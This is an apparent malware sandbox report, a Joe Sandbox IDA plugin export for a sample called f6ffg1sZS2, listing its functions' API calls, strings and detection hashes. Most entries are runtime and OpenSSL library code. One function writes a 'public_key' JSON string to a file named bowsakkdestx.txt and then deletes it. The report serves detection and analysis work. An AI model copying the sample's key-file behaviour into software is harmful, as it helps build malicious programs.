DeleteFileA.KERNEL32(?), ref: 0079EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0079EA92
lstrcpyA.KERNEL32(?,?), ref: 0079EAA4
lstrcpyA.KERNEL32(?,?), ref: 0079EABA
lstrlenA.KERNEL32(?), ref: 0079EAC8
lstrlenA.KERNEL32(00000022), ref: 0079EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0079EB5B
lstrlenA.KERNEL32(?), ref: 0079EB7C
_malloc.LIBCMT ref: 0079EB86
_memset.LIBCMT ref: 0079EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0079EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0079EBB6
_strstr.LIBCMT ref: 0079EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079EC24
DeleteFileA.KERNEL32(?), ref: 0079EC32

Strings

{"public_key":", xrefs: 0079EA2E
bowsakkdestx.txt, xrefs: 0079EA67

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: 82fc2be0b5ccc60e0b578e84eb681ec61763a289b34d548c02448261220b06a2
Instruction ID: 03e0096d9e70c57c2ab2022ec7ebec22c78b0320d9a12346fbc63cd23c660c2f
Opcode Fuzzy Hash: 82fc2be0b5ccc60e0b578e84eb681ec61763a289b34d548c02448261220b06a2
Instruction Fuzzy Hash: 86015235448381ABDA70DF50AC09BDF7B9DBF52744F044819F98492282EB78A608C767

Function 007A728B Relevance: 12.2, APIs: 8, Instructions: 202COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 007A708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,007E3083,?,00000000,00000000), ref: 007A71FE
DecodePointer.KERNEL32(?,?), ref: 007A722A
DecodePointer.KERNEL32(?,?), ref: 007A724F
__aulldvrm.LIBCMT ref: 007A7385
_write_multi_char.LIBCMT ref: 007A7477
_write_string.LIBCMT ref: 007A74A0
_write_multi_char.LIBCMT ref: 007A74C2
__cftof.LIBCMT ref: 007A7500
_write_string.LIBCMT ref: 007A7531
_write_multi_char.LIBCMT ref: 007A7592
_free.LIBCMT ref: 007A75AB

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char$_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 1678825546-0
Opcode ID: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction ID: 20deb52a6b4fdd5064136bb8b8ce68247c92fe6be9e438a5f1ea5362ca8b0272
Opcode Fuzzy Hash: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction Fuzzy Hash: E4719471E092699FDF389B58CC9DBA9B7B5EBD6300F1402D9D808A7241E7399E80CF50

Function 007A73EA Relevance: 10.6, APIs: 7, Instructions: 129COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 007A7477
_write_string.LIBCMT ref: 007A74A0
_write_multi_char.LIBCMT ref: 007A74C2
__cftof.LIBCMT ref: 007A7500
_write_string.LIBCMT ref: 007A7531
_write_multi_char.LIBCMT ref: 007A7592
_free.LIBCMT ref: 007A75AB

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: c0f7c970a8c6c6e44add1a44b888979d96fe7aeb01195d5e81f2fdeffd230a01
Instruction ID: 376de597f6c5726563f7db6f5a7834afa7a858a9ce1e0ebd7d9802ec499800cf
Opcode Fuzzy Hash: c0f7c970a8c6c6e44add1a44b888979d96fe7aeb01195d5e81f2fdeffd230a01
Instruction Fuzzy Hash: 1D514471E091599FDF389B68CC9DBAA77B5EF89300F0402D9E908A6151E7399F90CF50

Function 007A73FA Relevance: 10.6, APIs: 7, Instructions: 127COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 007A7477
_write_string.LIBCMT ref: 007A74A0
_write_multi_char.LIBCMT ref: 007A74C2
__cftof.LIBCMT ref: 007A7500
_write_string.LIBCMT ref: 007A7531
_write_multi_char.LIBCMT ref: 007A7592
_free.LIBCMT ref: 007A75AB

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction ID: 092741e95e993a3e612b0e9cfb01ca78dc03ec1773c51bb3bc5a3f899b6ea568
Opcode Fuzzy Hash: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction Fuzzy Hash: 10514371E091599FDF349B68CC9DBAA77B5EF89300F0402D9E908A6151E7399F90CF50

Function 007B06EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 007B071B
_strlen.LIBCMT ref: 007B072E
__lock.LIBCMT ref: 007B074A
_malloc.LIBCMT ref: 007B075C
_malloc.LIBCMT ref: 007B076D
_free.LIBCMT ref: 007B07B6

Part of subcall function 007A42FD: IsProcessorFeaturePresent.KERNEL32(00000017,007A42D1,i;z,?,?,007A0CE9,007A520D,?,007A42DE,00000000,00000000,00000000,00000000,00000000,007A981C), ref: 007A42FF

_free.LIBCMT ref: 007B07AF

Part of subcall function 007A0BED: HeapFree.KERNEL32(00000000,00000000,?,007A507F,00000000,007A520D,007A0CE9), ref: 007A0C01
Part of subcall function 007A0BED: GetLastError.KERNEL32(00000000,?,007A507F,00000000,007A520D,007A0CE9), ref: 007A0C13

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 458270ad2659fe988607cbda44e5a1bec0b1438a669652d13013e7ae67109db8
Instruction ID: 8ec4086383e579b3890b6488e08c58b3d5e47d606d754265efd6597384e65bca
Opcode Fuzzy Hash: 458270ad2659fe988607cbda44e5a1bec0b1438a669652d13013e7ae67109db8
Instruction Fuzzy Hash: 6221A7B1900705EBDB21AB74CD45B9BF7D4AF45720F108669F4189A282EE7CE840CAD1

Function 00791B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00791B1E
timeGetTime.WINMM ref: 00791B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00791B4C
DispatchMessageW.USER32(?), ref: 00791B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00791B6A
Sleep.KERNEL32(00000064), ref: 00791B72
timeGetTime.WINMM ref: 00791B78

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: bcc56c1a82d800ca3ad61d6e8cb9615413914b64a39843b8c76125d1855db598
Instruction ID: 9a5278799432f2c1d6f65e01cd4a025da2720845cf51a710162adc7bb40fbc36
Opcode Fuzzy Hash: bcc56c1a82d800ca3ad61d6e8cb9615413914b64a39843b8c76125d1855db598
Instruction Fuzzy Hash: 98018476A41319AADF20ABE59C41FEDB76DBB08B40F444065F700B71C0E674A911CBE5

Function 007A5141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 007A5141

Part of subcall function 007A7D6C: EncodePointer.KERNEL32(00000000,?,007A5146,007A3FFE,00887990,00000014), ref: 007A7D6F
Part of subcall function 007A7D6C: __initp_misc_winsig.LIBCMT ref: 007A7D8A
Part of subcall function 007A7D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 007B26B3
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 007B26C7
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 007B26DA
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 007B26ED
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 007B2700
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 007B2713
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 007B2726
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 007B2739
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 007B274C
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 007B275F
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 007B2772
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 007B2785
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 007B2798
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 007B27AB
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 007B27BE
Part of subcall function 007A7D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 007B27D1

__mtinitlocks.LIBCMT ref: 007A5146
__mtterm.LIBCMT ref: 007A514F

Part of subcall function 007A51B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,007A5154,007A3FFE,00887990,00000014), ref: 007A8B62
Part of subcall function 007A51B7: _free.LIBCMT ref: 007A8B69
Part of subcall function 007A51B7: DeleteCriticalSection.KERNEL32(0088AC00,?,?,007A5154,007A3FFE,00887990,00000014), ref: 007A8B8B

__calloc_crt.LIBCMT ref: 007A5174
__initptd.LIBCMT ref: 007A5196
GetCurrentThreadId.KERNEL32 ref: 007A519D

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 6b3741714ec4a4e8e53a757413fea71814b9a50de93e565f95138f7ce8efe323
Instruction ID: 5ed87158859da60c6035b0788128838c744fd8495898e70ba91cab9dab5608f8
Opcode Fuzzy Hash: 6b3741714ec4a4e8e53a757413fea71814b9a50de93e565f95138f7ce8efe323
Instruction Fuzzy Hash: 99F02B3214AB159DF2383778BC0BBAA36D4EF83730B11075AF024C41D2FF6C84014561

Function 007A53AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 007A594A

Part of subcall function 007A8AF7: __mtinitlocknum.LIBCMT ref: 007A8B09
Part of subcall function 007A8AF7: __amsg_exit.LIBCMT ref: 007A8B15
Part of subcall function 007A8AF7: EnterCriticalSection.KERNEL32(i;z,?,007A50D7,0000000D), ref: 007A8B22

_free.LIBCMT ref: 007A5970

Part of subcall function 007A0BED: HeapFree.KERNEL32(00000000,00000000,?,007A507F,00000000,007A520D,007A0CE9), ref: 007A0C01
Part of subcall function 007A0BED: GetLastError.KERNEL32(00000000,?,007A507F,00000000,007A520D,007A0CE9), ref: 007A0C13

__lock.LIBCMT ref: 007A5989
___removelocaleref.LIBCMT ref: 007A5998
___freetlocinfo.LIBCMT ref: 007A59B1
_free.LIBCMT ref: 007A59C4

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: b7f73f045ce2e93a6cfd49e1c35777191615e72c721ef45493d015c2fc11e15e
Instruction ID: fc6c1f760baf67e6176c4ff8343315c9d56beb7f6cb29344836706f88a561107
Opcode Fuzzy Hash: b7f73f045ce2e93a6cfd49e1c35777191615e72c721ef45493d015c2fc11e15e
Instruction Fuzzy Hash: D1016531502B00D6DF386B68D44A71E7390AFC2731F20475EE4649A0D4CFBDA980CA55

Function 007D73F0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 007D74E9

Strings

+, xrefs: 007D7475
0123456789ABCDEF, xrefs: 007D74D6
Ul}, xrefs: 007D7596, 007D75A9, 007D75D1, 007D75F6, 007D762A, 007D765D, 007D767F
, xrefs: 007D7482

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$Ul}
API String ID: 1302938615-3638441740
Opcode ID: 46eb367b0f451d758652102baa6e6f5b6c5b32d1bb037a5df72a0b50ee7b0f37
Instruction ID: faeea5caa10ca36809a0f49e65e3cb025109fa56cd1c8da1a17b12cb6ba23ca1
Opcode Fuzzy Hash: 46eb367b0f451d758652102baa6e6f5b6c5b32d1bb037a5df72a0b50ee7b0f37
Instruction Fuzzy Hash: 1D8167B1A087509FD714CE289844A2BBBF5BFC8754F15091EF989A7312E338ED05CB92

Function 007D06A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 007D07C3

Strings

error:%08lX:%s:%s:%s, xrefs: 007D0792
lib(%lu), xrefs: 007D071C
reason(%lu), xrefs: 007D0758
func(%lu), xrefs: 007D0734

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: b8ccf89f1417b8f40007ad5bbab7d6ab435cc9c845a8577d7007a7cf6d41d918
Instruction ID: 0bc5166b223d9a944df551b1b2a1769c4e933d86151af3805a40cd30a25c69ef
Opcode Fuzzy Hash: b8ccf89f1417b8f40007ad5bbab7d6ab435cc9c845a8577d7007a7cf6d41d918
Instruction Fuzzy Hash: CE41C371A043059BDB24EE24DC45BAFB7E9EF81354F40082FE59597341E679E9088BE2

Function 007DAE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 007DAE4B
_memset.LIBCMT ref: 007DAE6C

Strings

g9~, xrefs: 007DAE31, 007DAE36, 007DAE63, 007DAF14, 007DAF1D
.\crypto\buffer\buffer.c, xrefs: 007DAE88, 007DAEBE, 007DAED3, 007DAEF0

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9~
API String ID: 2102423945-4056134768
Opcode ID: d52dbb154ff0cada08f1ffba21b5b8cdf5d2809ef1ee76f633f0007a4e849b9c
Instruction ID: 0c8ce09dd22dd8a4656a194fbd19c0963bd19c5fe5258f4b7df9d9a224d017f2
Opcode Fuzzy Hash: d52dbb154ff0cada08f1ffba21b5b8cdf5d2809ef1ee76f633f0007a4e849b9c
Instruction Fuzzy Hash: 2A2101B6B003217BE614666CFC46B16B3A9FB84B14F008126F218D73C2E2B5A810C7D9

Function 00845D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00845D3D

Part of subcall function 007A501F: GetLastError.KERNEL32(?,i;z,007A520D,007A0CE9,?,?,007A3B69,?), ref: 007A5021
Part of subcall function 007A501F: __calloc_crt.LIBCMT ref: 007A5042
Part of subcall function 007A501F: __initptd.LIBCMT ref: 007A5064
Part of subcall function 007A501F: GetCurrentThreadId.KERNEL32 ref: 007A506B
Part of subcall function 007A501F: SetLastError.KERNEL32(00000000,i;z,007A520D,007A0CE9,?,?,007A3B69,?), ref: 007A5083

__calloc_crt.LIBCMT ref: 00845D60
__get_sys_err_msg.LIBCMT ref: 00845D7E
__get_sys_err_msg.LIBCMT ref: 00845DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 00845D48, 00845D6E

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 02d5cc14de20b641d2ba35dc16b3e968847f89585fde0eb3412ffea262e1286b
Instruction ID: d7c1eb50f65214fbf71e38e57f465701596aa06e1427afc7e1c7902e0637309b
Opcode Fuzzy Hash: 02d5cc14de20b641d2ba35dc16b3e968847f89585fde0eb3412ffea262e1286b
Instruction Fuzzy Hash: EA11C432901E1DABEB212A659C0DBAF73DCFF41B64F100535FE08DA253E665DD0042A1

Function 007E2FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 007E307E
_memset.LIBCMT ref: 007E30AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 007E3070
.\crypto\pem\pem_lib.c, xrefs: 007E3097
Enter PEM pass phrase:, xrefs: 007E3036, 007E3043, 007E3084

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 0d590d916f5c114f106fe0131c3e2dc6a01ec2e6a31753d64c731e4efce0bb24
Instruction ID: 31359314d06b4056c2cbcf1fbb4997ad72c4bf707ebc662b668800fc26a902f3
